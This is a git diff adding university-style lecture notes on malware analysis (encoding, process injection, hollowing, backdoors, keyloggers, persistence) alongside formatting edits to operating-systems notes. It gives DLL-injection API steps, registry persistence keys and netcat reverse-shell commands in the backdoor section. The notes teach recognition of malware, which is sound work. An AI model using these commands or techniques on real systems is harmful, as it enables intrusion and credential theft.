+```
+
+- Relatively straight-forward to find this code in a disassembler
+- Search for `xor` instructions
+- There will be several (xor is used to set registers to zero)
+- Look out for instructions that:
+ - XOR constant with a register
+ - XOR a register with another different register
+- Look out for small loops containing `XOR`s
+
+Other encodings
+
+- Using addition and subtraction
+- Using bit rotation
+- ROT-n (the original ceaser cipher)
+- Multibyte (using a longer key)
+- Chained or loopback
+ - Encoding the data with itself
+- Base64 encoded
+
+### Base64
+
+Base64 encoding is used to represent binary data in an ASCII string format and is commonly found in malware. The values used are `A-Z a-z 0-9 +/`.
+
+#### Encoding with Base64
+
+- It used 24-bit (3-byte) chunks
+ - The first character is placed in the most significant position
+ - The second in the middle 8 bits
+ - The third in the least significant 8 bits
+- Bits are read in blocks of 6 - the number represented is used as an index to the base64 string.
+
+
+
+#### Identifying and Decoding Base64
+
+The best way to find this type of encoding is looking for the encoding string.
+
+`ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/`
+
+This will always be stored as a string as it needs to be indexable.
+
+Custom encodings can be performed easily by modifying the encoding string - for example putting the lower case first, dispersing numbers within the letters etc.
\ No newline at end of file
diff --git a/docs/lectures/malware/08_processes.md b/docs/lectures/malware/08_processes.md
new file mode 100644
index 0000000..de53dde
--- /dev/null
+++ b/docs/lectures/malware/08_processes.md
@@ -0,0 +1,119 @@
+# Processes
+
+- Malware will often exploit other processes on the system
+- Either already running, or by running them
+- It does this to hide it’s activity
+
+### Process Injection
+
+- With process injection, malware injects its own code into a running process
+- Malware execution then is not (easily) visible from outside
+- Malware also gains privileges of the process it is injected into
+ - Common example is `DLL` injection
+
+#### DLL Injection
+
+- Code for the malware is contained within a `.dll` file
+- Malware arranges for this `.dll` file to be loaded into the target process
+- Causes malware code to be executed
+
+##### Steps for DLL Injection
+
+- Call `OpenProcess()` to get a `HANDLE` for the process
+- Use `VirtualAllocEx()` to allocate memory inside the process
+- Use `WriteProcessMemory()` to copy path to `DLL` into the process
+- Use `CreateRemoteThread()` to create a new thread in the process
+ - Start `LoadLibrary()` as the thread routine
+ - Pass the address of the `DLL` path as data to the thread
+
+#### Direct Injection
+
+- Related technique
+ - Inject code directly rather than path to `DLL`
+- Use `VirtualAllocEx()` to allocate memory
+ - Need to ensure its marked as executable
+- `WriteProcessMemory()` used to copy over code
+- `CreateRemoteThread()` used to start code
+- Harder to write code for direct injection
+ - Code isn’t loaded, so will need to find address of API functions itself
+
+#### Non-traditional Loading
+
+- Malware code isn’t alywas loaded in traditional fashion
+- Could be delivered by making use of an exploit, or process injection
+- Would be delivered as a small chunk of raw machine code
+- Not loaded in the traditional sense
+ - No relocation, no dynamic linking
+- Just a raw blob of code that starts executing
+ - Even the address is essentially random
+ - This is known as **shell-code**
+- Code knows where the stack is (using `ESP`)
+- Can use this to create structures or store strings, by pushing the relevant values and capturing the address
+- This code has a problem
+ - To do anything, the program is going to need to make Windows API calls
+ - Windows APU calls are normally made by making indirect calls to relevant implementation in the `DLL`
+ - Normally Windows links the calls to the `DLL`s at load time but the malware code wasn’t ‘loaded’
+ - The malware code does not know where the `DLL`s have been loaded into memory
+
+##### Finding API Routines
+
+- Possible to load and call `DLL` programmatically using `LoadLibrary`/`GetProcAddress`
+- But even this requires us to know where those API functions are loaded
+- Need to be able to find the address of (at least) these functions manually
+ - Possible to walk the data structures that Windows uses internally to find where the `DLL`s have been loaded into memory
+ - Once we find `KERNAL32.DLL`, we can walk the PE file structure, and find the address of `LoadLibrary` and `GetProcAddress`
+- Can then use `LoadLibrary` and `GetProcAddress` to obtain access to other API functions
+
+#### Thread Information Block
+
+- Every thread on a Windows program has an associated TIB
+
+- This is pointed to by the `FS` segment register
+
+- This contains details about the current thread
+
+- Including a pointer to the **Process Environment Block** (at an offset of `0x30`)
+
+ - `mov eax, fs:[0x30]`
+
+ - ```c
+ PEB *GetPEB()
+ {
+ _asm mov eax, fs:[0x30]
+ }
+ ```
+
+#### Modules List
+
+- `PEB_LDR_DATA` structure points to a linked list containing each module
+
+ - List entry contains the module’s filename
+ - And the base address of where its been loaded
+ - Points to the start of the DOS file header
+ - Can search this linked list until we find the `DLL` of interest
+
+- ```c
+ typedef struct _LDR_DATA_TABLE_ENTRY {
+ PVOID Reserved1[2];
+ LIST_ENTRY InMemoryOrderLinks;
+ PVOID Reserved2[2];
+ PVOID DllBase;
+ PVOID EntryPoint;
+ PVOID Reserved3;
+ UNICODE_STRING FullDllName;
+ BYTE Reserved4[8];
+ PVOID Reserved5[3];
+ union {
+ ULONG CheckSum;
+ PVOID Reserved6;
+ };
+ ULONG TimeDateStamp;
+ } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
+ ```
+
+##### Process Hollowing
+
+- Here a normal program is loaded using `CreateProcess`
+- But it is created in a suspended state using the `CREATE_SUSPEND` flag
+- Original code is removed, and malware code is copied in
+ - Look out for calls to `ZuUnmapViewOfSection`, `SetThreadContext` and `ResumeThread`
diff --git a/docs/lectures/malware/09_malware_behaviour.md b/docs/lectures/malware/09_malware_behaviour.md
new file mode 100644
index 0000000..65de25a
--- /dev/null
+++ b/docs/lectures/malware/09_malware_behaviour.md
@@ -0,0 +1,203 @@
+# Malware Behaviour
+
+### Downloaders
+
+*Downloaders* simply download another piece of malware from the internet and execute it on the local system. Downloaders are often packaged with an exploit.
+
+- Downloaders often use `URLDownloadToFileA`
+- Followed by a called to `WinExec`
+- To download and execute the new malware
+- Are often called *droppers*
+
+### Launchers
+
+A launcher is any executable that installs malware for immediate or future covert execution.
+
+- Often contains the malware payload embedded within the file
+
+### Backdoors
+
+A *backdoor* is a type of malware that provides an attacker with remote access to a victims machine. Backdoor code often implements a full set of capabilities so when using a backdoor, attackers don't need to download additional malware or code.
+
+- Common variants
+ - Reverse Shells
+ - Remote Access Trojans (RATs)
+ - Botnets
+- Commonly communicate over port 80 using `HTTP`
+ - `HTTP` is the most commonly used protocol for outgoing network traffic
+ - So it offers the malware the best chance of blending in to normal traffic
+- Often provide a common set of functionality
+ - Manipulate registry keys
+ - Enumerate display windows
+ - Create directories
+ - Search for files
+- Can determine the functionality provided by looking at the Windows API functions imported
+
+#### Reverse Shell
+
+A reverse shell is a connection that originates from an infected machine and provides attackers shell access to that machine.
+
+- The simplest type of backdoor
+- Provides attack with standard shell
+- Offers same functionality as being logged into the machine
+- Called a reverse shell because rather than the attacker connecting to the infected machine, the infected machine connects back to the attackers machine
+ - This is done as the victim's machine is often sitting behind a firewall blocking incoming traffic on most ports.
+ - Whereas outgoing traffic on random high number ports is often unblocked
+- Either offered standalone or as part of a more sophisticated backdoor
+
+##### Creating a reverse shell
+
+###### Using Netcat
+
+- Can be created quite simply using the `netcat` program
+
+ - This is done by setting up a listener on the attackers machine
+
+ - ```bash
+ nc -l -p 80
+ ```
+
+ - Where `-l` is the listen flag and `-p` is the port flag to listen on 80
+
+ - Then netcat is run on the victims machine
+
+ - ```bash
+ nc 80 -e cmd.exe
+ ```
+
+ - The `-e` option is the program to execute over the connection once the connection is established
+
+ - Tying std input and std output from the program to the network socket
+
+###### Using Windows API
+
+ This can be done in two ways: basic and multi-threaded
+
+ The **basic** method is popular as is easy to write and achieves the same thing.
+
+ It uses a call to `CreateProcess` and manipulates the `STARTUPINFO` structure.
+
+ 1. First a socket to the remote server is established
+ 2. That sockets standard streams are stored and spliced into `STARTUPINFO`
+ 3. So that when `CreateProcess` is called with the `STARTUPINFO` passed in, standard input, output and error is piped to the attacker
+
+The multithreaded approach is the same, except instead of tying the streams from command line directly to the socket, two threads sit inbetween (one for input, one for output) . These threads can be used to encrypt and decrypt data so is not sent in the clear.
+
+- API calls `CreateThread` and `CreatePipe` should be looked for
+ - The two pipes are needed to redirect input and output to the thread
+ - Two threads are needed
+ - One for reading from the stdin pipe and writing to the socket
+ - One for reading from the socket and writing to the stdout pipe
+ - Then the `CreateProcess` method can be used to tie the standard streams to the pipes instead of directly to the socket.
+
+### Remote Administration Tool (RAT)
+
+- Often used in targeted attacks with a specific goal
+- Typically communicate over common ports (e.g. 80 and 443)
+- RAT server runs on the victim, implanted within malware
+- Client runs remotely as a command and control unit operated by attacker
+- Server connects back to the server to start a connection, then controlled by the client (the attacker)
+
+
+
+Server will poll the client for new commands - there is not a permanent connection (as to not arouse suspicion)
+
+### Botnet
+
+- Botnet is a collection of compromised hosts (known as zombies)
+- Controlled by a single entity through the use of a server
+- Goal of a botnet to compromise as many hosts as possible
+
+| RATs | BotNet |
+| ------------------------------ | ------------------------------ |
+| Typically control fewer hosts | Infect millions |
+| Used in targeted attacks | Used in mass attack |
+| Controlled on per-victim level | All zombies controlled as once |
+
+### Credential Stealing
+
+- Attackers will go to great lengths to steal credentials
+- Three general approaches
+ - Programs that waits for a user to log in
+ - Programs that dump information stored in Windows (e.g password hashes)
+ - Programs that log keystrokes
+
+#### Windows Login
+
+- Windows enables you to extend the login mechanism
+- In windows XP, this was done by *Graphical Identification* *and Authentication* (GINA) API
+- Later windows versions use *Credential Provider*
+- Possible to use these to install credential stealers by pretending to be a credential provider
+
+Place a piece of code between `winlogin.exe` and `magina.dll`. By changing the `dll` to a malicious one.
+
+##### Hash Dumping
+
+- Another popular method of obtaining Windows credentials is *hash dumping*
+- Aim is to copy the password hashes off system
+- Don't get the password, but often get an equivalent
+- Source code for several tools is available, often used by malware authors
+- But also recognised by antivirus authors - therefore malware authors modify it slightly
+
+### Keyloggers
+
+- Intercepting Windows login or hash dumping will only provide details of the username and password to log into the computer
+ - Will not provide details of other resources
+- Alternative approach is to log user key presses
+- This will capture any password typed into the system
+- Keyloggers can be implemented in both kernel space and user space
+ - Kernel based is very difficult to detected with user level applications
+ - Frequently used as part of a root kit
+ - Act as a keyboard driver to capture keystrokes bypasses user-space programs and protections
+
+#### User-space keyloggers
+
+- Windows API provides two ways to implement a keylogger in user-space
+ - Hooking - get windows to notify the malware every time a key is pressed
+ - Hooking typically makes use of `SetWindowsHookEx()`
+ - Can alter key presses as well
+ - Typically will include `.exe` which will intiate the hook function
+ - And a `dll` to handle the logging
+ - This `dll` is injected to other processes on the system
+ - Polling - malware interrogrates Windows to see if a specific key is pressed
+ - Make use of the `GetAsyncKeyState()` API function which returns a boolean
+ - All the keys are iterated through to see what specific key is pressed
+ - `GetForegroundWindow()` - shows window title
+
+###### Identifying Keyloggers
+
+- If malware wants to log all keys, then it will need to have names for keys like `[Num Lock]`, `[Page Up]`, `[Page Down]` or the cursor keys
+- Might also have strings such as `qwerty...vbnm` present
+
+## Persistence Mechanisms
+
+- Various ways malware can get on a system
+- But also needs to ensure it stays on the system for a long time
+- Otherwise rebooting the system would be enough to clear it
+- Various mechanisms are available for the malware to hook in
+
+###### Via Registry
+
+- Various places in the Windows Registry that can be used to install malware permanently
+- Most popular is to register under:
+ - `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run`
+- Tools available that can show all the programs that will automatically run on your system
+- Note that the mechanisms available change as Windows develops
+
+###### Image File Executable Options
+
+- One option is the image File Execution Options in the registry
+- Aimed at letting you debug a program
+- Set at:
+ - `HKLM\Software\Microsoft\Windows NT\CurrentVersion\ImageFileExecution Options\{exe}`
+- Can set a key here called debugger which contains the full path to the debugger (or your malware)
+- Set this on a program that is likely to run and the malware will be launched when the program is run
+- Can also be used for malware analysis
+
+###### SVCHOST DLLs
+
+- Malware often installed as a Windows service
+- But typically requires implementing as a `exe`
+- However, Windows provides `svchost.exe` that lets you implement a service as a `dll`
+- Many Windows services are implemented as a `DLL` using `svchost.exe`
+- Causes the malware to blend into the process list and registry better
\ No newline at end of file
diff --git a/docs/lectures/malware/img/1645731141.png b/docs/lectures/malware/img/1645731141.png
new file mode 100644
index 0000000..1718744
Binary files /dev/null and b/docs/lectures/malware/img/1645731141.png differ
diff --git a/docs/lectures/malware/img/1646418960.png b/docs/lectures/malware/img/1646418960.png
new file mode 100644
index 0000000..97073b1
Binary files /dev/null and b/docs/lectures/malware/img/1646418960.png differ
diff --git a/docs/lectures/malware/img/1646419266.png b/docs/lectures/malware/img/1646419266.png
new file mode 100644
index 0000000..dd929d9
Binary files /dev/null and b/docs/lectures/malware/img/1646419266.png differ
diff --git a/docs/lectures/malware/img/1646419322.png b/docs/lectures/malware/img/1646419322.png
new file mode 100644
index 0000000..624bc45
Binary files /dev/null and b/docs/lectures/malware/img/1646419322.png differ
diff --git a/docs/lectures/malware/img/1646419963.png b/docs/lectures/malware/img/1646419963.png
new file mode 100644
index 0000000..29f7247
Binary files /dev/null and b/docs/lectures/malware/img/1646419963.png differ
diff --git a/docs/lectures/malware/img/1646420117.png b/docs/lectures/malware/img/1646420117.png
new file mode 100644
index 0000000..df8fbd8
Binary files /dev/null and b/docs/lectures/malware/img/1646420117.png differ
diff --git a/docs/lectures/malware/img/1646420400.png b/docs/lectures/malware/img/1646420400.png
new file mode 100644
index 0000000..61792bd
Binary files /dev/null and b/docs/lectures/malware/img/1646420400.png differ
diff --git a/docs/lectures/malware/img/1646421092.png b/docs/lectures/malware/img/1646421092.png
new file mode 100644
index 0000000..b3a4965
Binary files /dev/null and b/docs/lectures/malware/img/1646421092.png differ
diff --git a/docs/lectures/malware/img/1646421107.png b/docs/lectures/malware/img/1646421107.png
new file mode 100644
index 0000000..dc49549
Binary files /dev/null and b/docs/lectures/malware/img/1646421107.png differ
diff --git a/docs/lectures/malware/img/1646421441.png b/docs/lectures/malware/img/1646421441.png
new file mode 100644
index 0000000..8d5e0a3
Binary files /dev/null and b/docs/lectures/malware/img/1646421441.png differ
diff --git a/docs/lectures/malware/img/1646766562.png b/docs/lectures/malware/img/1646766562.png
new file mode 100644
index 0000000..71795d1
Binary files /dev/null and b/docs/lectures/malware/img/1646766562.png differ
diff --git a/docs/lectures/malware/img/1646766968.png b/docs/lectures/malware/img/1646766968.png
new file mode 100644
index 0000000..8e2535f
Binary files /dev/null and b/docs/lectures/malware/img/1646766968.png differ
diff --git a/docs/lectures/malware/img/1646767431.png b/docs/lectures/malware/img/1646767431.png
new file mode 100644
index 0000000..0d18446
Binary files /dev/null and b/docs/lectures/malware/img/1646767431.png differ
diff --git a/docs/lectures/malware/img/1646767721.png b/docs/lectures/malware/img/1646767721.png
new file mode 100644
index 0000000..a045c85
Binary files /dev/null and b/docs/lectures/malware/img/1646767721.png differ
diff --git a/docs/lectures/malware/img/1646767841.png b/docs/lectures/malware/img/1646767841.png
new file mode 100644
index 0000000..b2f02a6
Binary files /dev/null and b/docs/lectures/malware/img/1646767841.png differ
diff --git a/docs/lectures/malware/img/1646936140.png b/docs/lectures/malware/img/1646936140.png
new file mode 100644
index 0000000..f064293
Binary files /dev/null and b/docs/lectures/malware/img/1646936140.png differ
diff --git a/docs/lectures/malware/img/1647963505.png b/docs/lectures/malware/img/1647963505.png
new file mode 100644
index 0000000..f97e3e9
Binary files /dev/null and b/docs/lectures/malware/img/1647963505.png differ
diff --git a/docs/lectures/malware/img/1648223558.png b/docs/lectures/malware/img/1648223558.png
new file mode 100644
index 0000000..3d7ebbc
Binary files /dev/null and b/docs/lectures/malware/img/1648223558.png differ
diff --git a/docs/lectures/malware/img/1648651117.png b/docs/lectures/malware/img/1648651117.png
new file mode 100644
index 0000000..78ee591
Binary files /dev/null and b/docs/lectures/malware/img/1648651117.png differ
diff --git a/docs/lectures/malware/img/1652975874.png b/docs/lectures/malware/img/1652975874.png
new file mode 100644
index 0000000..4411035
Binary files /dev/null and b/docs/lectures/malware/img/1652975874.png differ
diff --git a/docs/lectures/malware/img/1653066344.png b/docs/lectures/malware/img/1653066344.png
new file mode 100644
index 0000000..4e312b5
Binary files /dev/null and b/docs/lectures/malware/img/1653066344.png differ
diff --git a/docs/lectures/osc/01_scheduling_algorithms.md b/docs/lectures/osc/01_scheduling_algorithms.md
index f3cb103..9854de4 100644
--- a/docs/lectures/osc/01_scheduling_algorithms.md
+++ b/docs/lectures/osc/01_scheduling_algorithms.md
@@ -26,7 +26,7 @@ The type of algorithm used by the scheduler is influenced by the type of operati
- Invoked very frequency, hence must be fast
- Usually called in response to *clock interrupts*, *I/O interrupts*, or *blocking system calls*
-
+
**Non-preemptive** processes are only interrupted voluntarily (e.g. I/O operation or "nice" system call `yield()`)
>Windows 3.1 and DOS were non-preemptive
@@ -67,7 +67,7 @@ Concept: a non-preemptive algorithm that operates as a strict queuing mechanism
| Positional fairness | Favours long processes over short ones (think supermarket checkout) || |
| Easy to implement | Could compromise resource utilisation |
-
+
**Shortest job first**
A non-preemptive algorithm that starts processes in order of ascending processing time using a provided estimate of the processing
@@ -78,7 +78,7 @@ A non-preemptive algorithm that starts processes in order of ascending processin
| - | Fairness and predictability are compromised |
| - | Processing times need to be known in advanced |
-
+
**Round Robin**
A preemptive version of FCFS that focuses context switches at periodic intervals or time slices
@@ -100,7 +100,7 @@ The length of the time slice must be carefully considered.
>A small time slice (~ 1ms) gives a good response time.
>A large time slice (~ 1000ms) gives a high throughput.
-
+
**Priority Queue**
A preemptive algorithm that schedules processes by priority
@@ -115,10 +115,10 @@ A preemptive algorithm that schedules processes by priority
Low priority starvation only happens when a static priority level is used.
You could give higher priority processes a larger time slice to improve efficiency
-
+
Exam Q 2013: Which algorithms above lead to starvation?
>Shortest job first and highest priority first.
-
-
+
+
diff --git a/docs/lectures/osc/02_threads.md b/docs/lectures/osc/02_threads.md
index 8ea7b0d..88a3ad2 100644
--- a/docs/lectures/osc/02_threads.md
+++ b/docs/lectures/osc/02_threads.md
@@ -10,7 +10,7 @@ A process consists of two **fundamental** units
A process can share its resources between multiple execution traces, e.g multiple threads running in the same resource environment.
-
+
Every thread has its own *execution context* (e.g. program counter, stack, registers).
All threads have **access** to the process' **shared resources**
@@ -22,7 +22,7 @@ All threads have **access** to the process' **shared resources**
Similar to processes, threads have:
**States**, **transitions** and a **thread control block**
-
+
The *registers*, *stack* and *state* are all specific to the registers. When a context switch occurs they must be stored in the **thread control block**.
@@ -60,7 +60,7 @@ Such activities should be carried out in parallel on threads. e.g. web-servers,
**Kernel** threads - ask the OS to create a tread for the user and give it to the user.
**Hybrid** implementations - is what is used in windows 10
-
+
**Pros and cons of user threads**
@@ -85,7 +85,7 @@ Advantages:
However frequent **mode switches** take place, resulting in a lower performance.
-
+
Kernel threads are slower to create and sync that user level however user level cannot exploit parallelism.
@@ -96,7 +96,7 @@ Kernel threads are slower to create and sync that user level however user level
>
>User application sees user threads and creates/schedules these (an unrestricted number)
-
+
Thread libraries provide an API for managing threads
Thread libraries can be implemented
@@ -113,9 +113,9 @@ Examples of thread APIs include **POSIX PThreads**, windows threads and Java thr
`pthread_attr_init` - Thread Attributes (e.g. priority)
`pthread_attr_destroy` - Release Attributes
-$ ~ man `pthread_create` returns the help page
+`$ ~ man pthread_create` returns the help page
-
+
```
$ ~ HELLO from thread 10
diff --git a/docs/lectures/osc/03_processes4.md b/docs/lectures/osc/03_processes4.md
index aa5853c..35d3fbf 100644
--- a/docs/lectures/osc/03_processes4.md
+++ b/docs/lectures/osc/03_processes4.md
@@ -10,7 +10,7 @@
Exam 2013: Explain how you would prevent starvation in a priority queue algorithm?
-
+
The solution to this is to momentarily boost thread A's priority level, this will let A do what it what's to do and release resource X so that B and C can run.
@@ -38,9 +38,9 @@ Feedback queues are highly configurable and offer significant flexibility.
-
+
-
+
If you give a couple of the threads the highest priority level, you can freeze your computer. (causes starvation for low priority threads)
@@ -81,7 +81,7 @@ Both ways *cannot* guarantee hard deadlines.
A **weighting scheme** is used to take difference priorities into account.
-
+
The tasks with the **lowest proportional amount** of "used CPU time" are selected first. (Shorter tasks picked first if Wi is the same).
@@ -115,9 +115,9 @@ Windows will allocate the **highest priority threads** to the individual CPUs/co
>
> **Unrelated** processes threads that are **independent**, possibly started by **different users** running different programs.
-
+
-Threads belong to the same process are are cooperating e.g. they **exchange messages** or **share information**
+Threads belong to the same process are cooperating e.g. they **exchange messages** or **share information**
The aim is to get threads running as much as possible, at the **same time across multiple CPU**s.
diff --git a/docs/lectures/osc/04_concurrency1.md b/docs/lectures/osc/04_concurrency1.md
index b6241f5..f930b21 100644
--- a/docs/lectures/osc/04_concurrency1.md
+++ b/docs/lectures/osc/04_concurrency1.md
@@ -41,7 +41,7 @@ Counter++ consists of three separate actions.
The above actions are **not** "atomic". This means they can be interrupted by the timer.
-
+
TCB - *Thread Control Block*
@@ -63,9 +63,9 @@ void print() {
If the two threads are **interleaved** one after the other, there is no issue.
-
+
-However if **interleaved** like this they do interact. The global variable used to store the character in thread 1, is overwritten when thread 2 runs. This means 1+1+1 = 2
+However, if **interleaved** like this they do interact. The global variable used to store the character in thread 1, is overwritten when thread 2 runs. This means 1+1+1 = 2
## Bounded Buffer
diff --git a/docs/lectures/osc/06_concurrency3.md b/docs/lectures/osc/06_concurrency3.md
index 46677b3..3b62820 100644
--- a/docs/lectures/osc/06_concurrency3.md
+++ b/docs/lectures/osc/06_concurrency3.md
@@ -43,7 +43,7 @@ The process/thread that acquires the lock must **release the lock** - in contras
| Context switches can be **avoided**. | Calls to `acquire()` result in **busy waiting**. Shocking performance on single CPU systems. |
| Efficient on multi-core systems when locks are **held for a short time**. | A thread can waste it's entire time slice busy waiting. |
-
+
@@ -143,7 +143,7 @@ Semaphores within the **same process** can be declared as **global variables** o
> * `sem_wait()` - decrements the value of the semaphore.
> * `sem_post()` - increments the values of the semaphore.
-
+
Synchronising code does result in a **performance penalty**
@@ -198,7 +198,7 @@ The simplest version of this problem has **one producer**, **one consumer** and
* `sync` **synchronises** access to the **buffer** (counter) which is initialised to 1.
* `delay_consumer` ensures that the **consumer** goes to **sleep** when there are no items available, initialised to 0.
-
+
It is obvious that any manipulations of count will have to be **synchronised**.
@@ -231,4 +231,4 @@ A different variant of the problem has `n` consumers and `m` producers and a fix
The `empty` and `full` are **counting semaphores** and represent **resources**.
-
+
diff --git a/docs/lectures/osc/07_concurrency4.md b/docs/lectures/osc/07_concurrency4.md
index 9293237..fe089c0 100644
--- a/docs/lectures/osc/07_concurrency4.md
+++ b/docs/lectures/osc/07_concurrency4.md
@@ -2,7 +2,7 @@
## The Dining Philosophers Problem
-
+
The problem is defined as:
@@ -50,7 +50,7 @@ The solution uses:
> * `sync` : one **semaphore/mutex** to enforce **mutual exclusion** of the critical section (while updating the **states** of `hungry` `thinking` and `eating`)
> * A philosopher can only **start eating** if their neighbours are **not eating**.
-
+
#### Code for Solution 3
diff --git a/docs/lectures/osc/08_concurrency6.md b/docs/lectures/osc/08_concurrency6.md
index 01ba4bd..1c2f551 100644
--- a/docs/lectures/osc/08_concurrency6.md
+++ b/docs/lectures/osc/08_concurrency6.md
@@ -49,7 +49,7 @@ A correct implementation requires:
>
> `rwSync` : a semaphore that synchronises the readers and writers, set by the first/last reader.
-
+
`sync` is used to `mutex_lock` and `mutex_unlock` when the `iReadCount` is being modified.
@@ -70,7 +70,7 @@ Unless `iReadCount` reaches 0, writing will not happen. **This means writers can
> * `sReadTry`: to **stop readers** when there is a **writer waiting**.
> * `sResource`: to **synchronise** the resource for **reading/writing**.
-
+
[explanation time stamp 43:35]
diff --git a/docs/lectures/osc/09_mem_management1.md b/docs/lectures/osc/09_mem_management1.md
index 775f0f1..4ea4bc0 100644
--- a/docs/lectures/osc/09_mem_management1.md
+++ b/docs/lectures/osc/09_mem_management1.md
@@ -22,7 +22,7 @@ The operating system provides **memory abstraction** for the user. Otherwise mem
#### Partitioning
-
+
##### Contiguous memory management
@@ -52,7 +52,7 @@ Where memory is allocated in multiple blocks, or segments, which may not be plac
>
> * Overlays enable the **programmer** to use **more memory than available**.
-
+
##### Short comings of mono-programming
@@ -77,7 +77,7 @@ Why Multi-Programming is better theoretically
> * The probability that **all** *n* **processes are waitying for I/O is *p*^n^
> * Therefore CPU utilisation is given by $1 - p^{n}$
-
+
With an **I/O wait time of 20%** almost **100% CPU utilisation** can be achieved with four processes ($1-0.2^{4}$)
@@ -85,7 +85,7 @@ With an **I/O wait time of 90%**, 10 processes can achieve about **65% CPU utili
CPU utilisation **goes up** with the **number of processes** and **down** for **increasing levels of I/O**.
-
+
**Assume that**:
@@ -124,7 +124,7 @@ CPU utilisation **goes up** with the **number of processes** and **down** for **
* Reduces **internal fragmentation**
* The **allocation** of processes to partitions must be **carefully considered**.
-
+
**One private queue per partition**:
diff --git a/docs/lectures/osc/10_mem_management2.md b/docs/lectures/osc/10_mem_management2.md
index c50ad7a..8918c66 100644
--- a/docs/lectures/osc/10_mem_management2.md
+++ b/docs/lectures/osc/10_mem_management2.md
@@ -40,7 +40,7 @@ When a program is run, it does not know in advance which partition it will occup
**Protection**: Once you can have two programs in memory at the same time, protection must be enforced.
-
+
**Logical Address**: is a memory address seen by the process
@@ -76,7 +76,7 @@ Two special purpose registers are maintained in the CPU (the **MMU**) containing
>
> NOTE: This requires **hardware support** (which didn't exist in the early days).
-
+
#### Dynamic Partitioning
@@ -91,7 +91,7 @@ Two special purpose registers are maintained in the CPU (the **MMU**) containing
> * A **variable number of partitions** of which the **size** and **starting address** can **change over time**.
> * A process is allocated the **exact amount** of **contiguous memory it requires**, thereby preventing internal fragmentation.
-
+
**Swapping** holds some of the **processes** on the drive and **shuttles processes** between the drive and main memory as necessary
@@ -147,6 +147,6 @@ A more **sophisticated data structure** is required to deal with a **variable nu
> * Each link **contains data items** e.g. **start of memory block**, **size** and a flag for free and allocated
> * It also contains a pointer to the next link.
-
+
-
+
diff --git a/docs/lectures/osc/11_mem_management3.md b/docs/lectures/osc/11_mem_management3.md
index aa29db1..aac2276 100644
--- a/docs/lectures/osc/11_mem_management3.md
+++ b/docs/lectures/osc/11_mem_management3.md
@@ -73,11 +73,11 @@ Paging uses the principles of **fixed partitioning** and **code re-location** to
> * **Internal fragmentation** is reduced to the **last block only** (e.g. previous example the third block, only 3 Kb will be used)
> * There is **no external fragmentation**, since physical blocks are **stacked directly onto each other** in main memory.
-
+
-
+
-
+
A **page** is a **small block** of **contiguous memory** in the **logical address space** (as seen by the process)
@@ -93,9 +93,10 @@ A **page** is a **small block** of **contiguous memory** in the **logical addres
* i.e a **set of base registers** has to be maintained for each process
* The base registers are stored in the **page table**
-
+
The page table can be seen as a **function**, that **maps the page number** of the logical address **onto the frame number** of the physical address
+
$$
frameNumber = f(pageNumber)
$$
@@ -103,7 +104,7 @@ $$
* The **page number** is used as an **index to the page table** that lists the **location of the associated frame**.
* It is the OS' duty to maintain a list of **free frames**.
-
+
We can see that the **only difference** between the logical address and physical address is the **4 left most bits** (the **page number and frame number**). As **pages and frames are the same size**, then the **offset value will be the same for both**.
diff --git a/docs/lectures/osc/12_mem_management4.md b/docs/lectures/osc/12_mem_management4.md
index 6d56900..b9570a2 100644
--- a/docs/lectures/osc/12_mem_management4.md
+++ b/docs/lectures/osc/12_mem_management4.md
@@ -26,7 +26,7 @@ Benefits of paging
* The **left most** $n$ **bits** that represent the **page number** (and frame number they're the same thing)
* $n$ is often 4 bits
-
+
#### Steps in Address Translation
@@ -44,7 +44,7 @@ Benefits of paging
### Principle of Locality
-
+
We have more pages here, than we can physically store as frames.
diff --git a/docs/lectures/osc/13_mem_management5.md b/docs/lectures/osc/13_mem_management5.md
index 930ae58..dce06a5 100644
--- a/docs/lectures/osc/13_mem_management5.md
+++ b/docs/lectures/osc/13_mem_management5.md
@@ -18,7 +18,7 @@
* The principle behind TLBs is similar to other types of **caching in operating systems**. They normally store anywhere from 16 to 512 pages.
* Remember: **locality** states that processes make a large number of references to a small number of pages.
-
+
The split arrows going into the TLB represent searching in parallel.
@@ -42,15 +42,19 @@ The split arrows going into the TLB represent searching in parallel.
> * Performance evaluation of TLBs
>
> * For an 80% hit rate, the estimated access time is:
+>
> $$
> 120\cdot 0.8 + 220\cdot (1-0.8)=140ns
> $$
+>
> (**40% slowdown** relative to absolute addressing)
>
> * For a 98% hit rate, the estimated access time is:
+>
> $$
> 120\cdot 0.98 + 220\cdot (1-0.98)=122ns
> $$
+>
> (**22% slowdown**)
>
> NOTE: **page tables** can be **held in virtual memory** => **further slow down** due to **page faults**.
@@ -68,8 +72,6 @@ A **normal page table size** is proportional to the number of pages in the virtu
>* *Solution*: Use a **hash function** that transforms page numbers (*n* bits) into frame numbers (*m* bits) - Remember *n* > *m*
> * The has functions turns a page number into a potential frame number.
-
-
So when looking for the page's frame location. We have to sequentially search through the table until we hit a match, we then get the frame number from the index - in this case 4.
#### Inverted Page Table Entry
@@ -80,9 +82,9 @@ So when looking for the page's frame location. We have to sequentially search th
> * **Protection** bits (Read/Write/Execute)
> * **Chaining Pointer** - This field points towards the next frame that has exactly the same VPN. We need this to solve collisions
-
+
-
+
Due to the hash function, we now only have to look through all entries with **VPN**: 1 instead of all the entries.
@@ -130,6 +132,7 @@ Due to the hash function, we now only have to look through all entries with **VP
NOTE: This doesn't take into account TLBs.
The expected access time is **proportional to page fault rate** when keeping page faults into account.
+
$$
T_{a} \space\space\alpha \space\space p
$$
@@ -160,9 +163,8 @@ $$
>
> This is a pretty bad algorithm unsurprisingly
-
+
Explanation at 53:40
Shaded squares on the top row are page faults. Shaded squares in the grid are when a new page is brought into memory.
-
diff --git a/docs/lectures/osc/14_mem_management6.md b/docs/lectures/osc/14_mem_management6.md
index 1452d37..24efa4e 100644
--- a/docs/lectures/osc/14_mem_management6.md
+++ b/docs/lectures/osc/14_mem_management6.md
@@ -21,7 +21,7 @@
> * It is faster, but can still be **slow if the list is long**.
> * The **time spent** on **maintaining** the list is **reduced**.
-
+
##### Not Recently Used (NRU)
@@ -54,7 +54,7 @@
>
> This algorithm can be **implemented in hardware** using a **counter** that is incremented after each instruction ...
-
+
This will look familiar to the FIFO algorithm however, when a page is used, that is like its just come in.
@@ -88,7 +88,7 @@ The **working set** is a subset of the resident set that is actually needed for
* The set of pages used within a pre-specified time interval
